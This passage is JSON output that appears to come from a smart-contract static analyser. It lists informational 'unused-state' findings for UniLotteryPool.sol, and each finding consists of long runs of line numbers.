8068, 8069, 8070, 8071, 8072, 8073, 8074, 8075, 8076, 8077, 8078, 8079, 8080, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099, 8100, 8101, 8102, 8103, 8104, 8105, 8106, 8107, 8108, 8109, 8110, 8111, 8112, 8113, 8114, 8115, 8116, 8117, 8118, 8119, 8120, 8121, 8122, 8123, 8124, 8125, 8126, 8127, 8128, 8129, 8130, 8131, 8132, 8133, 8134, 8135, 8136, 8137, 8138, 8139, 8140, 8141, 8142, 8143, 8144, 8145, 8146, 8147, 8148, 8149, 8150, 8151, 8152, 8153, 8154, 8155, 8156, 8157, 8158, 8159, 8160, 8161, 8162, 8163, 8164, 8165, 8166, 8167, 8168, 8169, 8170, 8171, 8172, 8173, 8174, 8175, 8176, 8177, 8178, 8179, 8180, 8181, 8182, 8183, 8184, 8185, 8186, 8187, 8188, 8189, 8190, 8191]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031, 4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6765, 6766, 6767, 6768, 6769, 6770, 6771, 6772, 6773, 6774, 6775, 6776, 6777, 6778, 6779, 6780, 6781, 6782, 6783, 6784, 6785, 6786, 6787, 6788, 6789, 6790, 6791, 6792, 6793, 6794, 6795, 6796, 6797, 6798, 6799, 6800, 6801, 6802, 6803, 6804, 6805, 6806, 6807, 6808, 6809, 6810, 6811, 6812, 6813, 6814, 6815, 6816, 6817, 6818, 6819, 6820, 6821, 6822, 6823, 6824, 6825, 6826, 6827, 6828, 6829, 6830, 6831, 6832, 6833, 6834, 6835, 6836, 6837, 6838, 6839, 6840, 6841, 6842, 6843, 6844, 6845, 6846, 6847, 6848, 6849, 6850, 6851, 6852, 6853, 6854, 6855, 6856, 6857, 6858, 6859, 6860, 6861, 6862, 6863, 6864, 6865, 6866, 6867, 6868, 6869, 6870, 6871, 6872, 6873, 6874, 6875, 6876, 6877, 6878, 6879, 6880, 6881, 6882, 6883, 6884, 6885, 6886, 6887, 6888, 6889, 6890, 6891, 6892, 6893, 6894, 6895, 6896, 6897, 6898, 6899, 6900, 6901, 6902, 6903, 6904, 6905, 6906, 6907, 6908, 6909, 6910, 6911, 6912, 6913, 6914, 6915, 6916, 6917, 6918, 6919, 6920, 6921, 6922, 6923, 6924, 6925, 6926, 6927, 6928, 6929, 6930, 6931, 6932, 6933, 6934]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [8192, 8193, 8194, 8195, 8196, 8197, 8198, 8199, 8200, 8201, 8202, 8203, 8204, 8205, 8206, 8207, 8208, 8209, 8210, 8211, 8212, 8213, 8214, 8215, 8216, 8217, 8218, 8219, 8220, 8221, 8222, 8223, 8224, 8225, 8226, 8227, 8228, 8229, 8230, 8231, 8232, 8233, 8234, 8235, 8236, 8237, 8238, 8239, 8240, 8241, 8242, 8243, 8244, 8245, 8246, 8247, 8248, 8249, 8250, 8251, 8252, 8253, 8254, 8255, 8256, 8257, 8258, 8259, 8260, 8261, 8262, 8263, 8264, 8265, 8266, 8267, 8268, 8269, 8270, 8271, 8272, 8273, 8274, 8275, 8276, 8277, 8278, 8279, 8280, 8281, 8282, 8283, 8284, 8285, 8286, 8287, 8288, 8289, 8290, 8291, 8292, 8293, 8294, 8295, 8296, 8297, 8298, 8299, 8300, 8301, 8302, 8303, 8304, 8305, 8306, 8307, 8308, 8309, 8310, 8311, 8312, 8313, 8314, 8315, 8316, 8317, 8318, 8319, 8320, 8321, 8322, 8323, 8324, 8325, 8326, 8327, 8328, 8329, 8330, 8331, 8332, 8333, 8334, 8335, 8336, 8337, 8338, 8339, 8340, 8341, 8342, 8343, 8344, 8345, 8346, 8347, 8348, 8349, 8350, 8351, 8352, 8353, 8354, 8355, 8356, 8357, 8358, 8359, 8360, 8361, 8362, 8363, 8364, 8365, 8366, 8367, 8368, 8369, 8370, 8371, 8372, 8373, 8374, 8375, 8376, 8377, 8378, 8379, 8380, 8381, 8382, 8383, 8384, 8385, 8386, 8387, 8388, 8389, 8390, 8391, 8392, 8393, 8394, 8395, 8396, 8397, 8398, 8399, 8400, 8401, 8402, 8403, 8404, 8405, 8406, 8407, 8408, 8409, 8410, 8411, 8412, 8413, 8414, 8415, 8416, 8417, 8418, 8419, 8420, 8421, 8422, 8423, 8424, 8425, 8426, 8427, 8428, 8429, 8430, 8431, 8432, 8433, 8434, 8435, 8436, 8437, 8438, 8439, 8440, 8441, 8442, 8443, 8444, 8445, 8446, 8447, 8448, 8449, 8450, 8451, 8452, 8453, 8454, 8455, 8456, 8457, 8458, 8459, 8460, 8461, 8462, 8463, 8464, 8465, 8466, 8467, 8468, 8469, 8470, 8471, 8472, 8473, 8474, 8475, 8476, 8477, 8478, 8479, 8480, 8481, 8482, 8483, 8484, 8485, 8486, 8487, 8488, 8489, 8490, 8491, 8492, 8493, 8494, 8495, 8496, 8497, 8498, 8499, 8500, 8501, 8502, 8503, 8504, 8505, 8506, 8507, 8508, 8509, 8510, 8511, 8512, 8513, 8514, 8515, 8516, 8517, 8518, 8519, 8520, 8521, 8522, 8523, 8524, 8525, 8526, 8527, 8528, 8529, 8530, 8531, 8532, 8533, 8534, 8535, 8536, 8537, 8538, 8539, 8540, 8541, 8542, 8543, 8544, 8545, 8546, 8547, 8548, 8549, 8550, 8551, 8552, 8553, 8554, 8555, 8556, 8557, 8558, 8559, 8560, 8561, 8562, 8563, 8564, 8565, 8566, 8567, 8568, 8569, 8570, 8571, 8572, 8573, 8574, 8575, 8576, 8577, 8578, 8579, 8580, 8581, 8582, 8583, 8584, 8585, 8586, 8587, 8588, 8589, 7300, 7301, 7302, 7303, 7304, 7305, 7306, 7307, 7308, 7309, 7310, 7311, 7312, 7313, 7314, 7315, 7316, 7317, 7318, 7319, 7320, 7321, 7322, 7323, 7324, 7325, 7326, 7327, 7328, 7329, 7330, 7331, 7332, 7333, 7334, 7335, 7336, 7337, 7338, 7339, 7340, 7341, 7342, 7343, 7344, 7345, 7346, 7347, 7348, 7349, 7350, 7351, 7352, 7353, 7354, 7355, 7356, 7357, 7358, 7359, 7360, 7361, 7362, 7363, 7364, 7365, 7366, 7367, 7368, 7369, 7370, 7371, 7372, 7373, 7374, 7375, 7376, 7377, 7378, 7379, 7380, 7381, 7382, 7383, 7384, 7385, 7386, 7387, 7388, 7389, 7390, 7391, 7392, 7393, 7394, 7395, 7396, 7397, 7398, 7399, 7400, 7401, 7402, 7403, 7404, 7405, 7406, 7407, 7408, 7409, 7410, 7411, 7412, 7413, 7414, 7415, 7416, 7417, 7418, 7419, 7420, 7421, 7422, 7423, 7424, 7425, 7426, 7427, 7428, 7429, 7430, 7431, 7432, 7433, 7434, 7435, 7436, 7437, 7438, 7439, 7440, 7441, 7442, 7443, 7444, 7445, 7446, 7447, 7448, 7449, 7450, 7451, 7452, 7453, 7454, 7455, 7456, 7457, 7458, 7459, 7460, 7461, 7462, 7463, 7464, 7465, 7466, 7467, 7468, 7469, 7470, 7471, 7472, 7473, 7474, 7475, 7476, 7477, 7478, 7479, 7480, 7481, 7482, 7483, 7484, 7485, 7486, 7487, 7488, 7489, 7490, 7491, 7492, 7493, 7494, 7495, 7496, 7497, 7498, 7499, 7500, 7501, 7502, 7503, 7504, 7505, 7506, 7507, 7508, 7509, 7510, 7511, 7512, 7513, 7514, 7515, 7516, 7517, 7518, 7519, 7520, 7521, 7522, 7523, 7524, 7525, 7526, 7527, 7528, 7529, 7530, 7531, 7532, 7533, 7534, 7535, 7536, 7537, 7538, 7539, 7540, 7541, 7542, 7543, 7544, 7545, 7546, 7547, 7548, 7549, 7550, 7551, 7552, 7553, 7554, 7555, 7556, 7557, 7558, 7559, 7560, 7561, 7562, 7563, 7564, 7565, 7566, 7567, 7568, 7569, 7570, 7571, 7572, 7573, 7574, 7575, 7576, 7577, 7578, 7579, 7580, 7581, 7582, 7583, 7584, 7585, 7586, 7587, 7588, 7589, 7590, 7591, 7592, 7593, 7594, 7595, 7596, 7597, 7598, 7599, 7600, 7601, 7602, 7603, 7604, 7605, 7606, 7607, 7608, 7609, 7610, 7611, 7612, 7613, 7614, 7615, 7616, 7617, 7618, 7619, 7620, 7621, 7622, 7623, 7624, 7625, 7626, 7627, 7628, 7629, 7630, 7631, 7632, 7633, 7634, 7635, 7636, 7637, 7638, 7639, 7640, 7641, 7642, 7643, 7644, 7645, 7646, 7647, 7648, 7649, 7650, 7651, 7652, 7653, 7654, 7655, 7656, 7657, 7658, 7659, 7660, 7661, 7662, 7663, 7664, 7665, 7666, 7667, 7668, 7669, 7670, 7671, 7672, 7673, 7674, 